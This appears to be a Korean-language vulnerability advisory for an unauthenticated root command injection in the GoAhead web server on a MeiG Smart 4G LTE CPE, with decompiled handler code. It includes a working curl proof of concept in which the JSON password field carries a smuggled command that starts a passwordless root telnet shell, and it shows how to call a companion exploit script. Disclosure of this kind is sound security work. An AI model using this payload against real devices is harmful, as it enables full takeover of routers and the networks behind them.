
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - 인증되지 않은 OS 명령 주입 (루트 권한 RCE)
/action/SetRemoteAccessCfg)MeiG Smart FORGE_SLT711 4G LTE CPE 장치에 번들로 포함된 GoAhead 웹 서버는 인증되지 않은 HTTP 엔드포인트 /action/SetRemoteAccessCfg를 노출하며, 이 엔드포인트는 사용자가 제어하는 JSON 입력을 검증 없이 셸 명령에 삽입합니다. 인증되지 않은 POST 요청 한 번으로 root 권한의 임의 명령이 실행됩니다.
두 가지 독립적인 근본 원인이 있습니다: 인증 라우트 항목 누락과 핸들러의 안전하지 않은 sprintf() → system() 구문입니다.
MDM9607.LE.1.0-00110-STD.PROD-1 (모뎀 펌웨어 BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)취약한 코드는 업스트림 GoAhead가 아닌 MeiG의 맞춤형 액션 핸들러에 있습니다. 이 제품 라인의 다른 펌웨어 버전도 영향을 받을 가능성이 높지만, 독립적으로 검증되지는 않았습니다.
| 장치 | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| 커널 | Linux 3.18.48 |
| 펌웨어 | MDM9607.LE.1.0-00110-STD.PROD-1 |
| 날짜 | 2026-02-21 |
GoAhead 라우트 구성 파일 /var/www/route.txt에는 auth=basic을 사용하는 인증된 라우트(64–150행)가 나열되어 있습니다. /action/SetRemoteAccessCfg는 이 목록에 없습니다. 라우팅은 156행의 catch-all로 넘어갑니다:
route uri=/action handler=action
catch-all에는 auth=basic이 없으므로 모든 HTTP 클라이언트가 자격 증명 없이 /action/SetRemoteAccessCfg를 호출할 수 있습니다.
/usr/bin/goahead의 오프셋 0x0003c6d8에 있는 핸들러는 다음과 같이 디컴파일됩니다:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
password 필드는 큰따옴표 안에 삽입됩니다. $(...) 치환과 `...` 백틱은 큰따옴표 안에서 확장되므로 공격자가 셸 명령을 제어할 수 있습니다. GoAhead 프로세스가 root로 실행되므로 system()은 uid=0으로 실행됩니다. 입력 검증, 이스케이프 처리, 문자 허용 목록이 전혀 없습니다.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (이 권고와 함께 공개됨):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
익스플로잇은 블라인드 방식입니다 — 명령 출력이 HTTP 응답에 포함되지 않습니다.
password 버퍼: 64바이트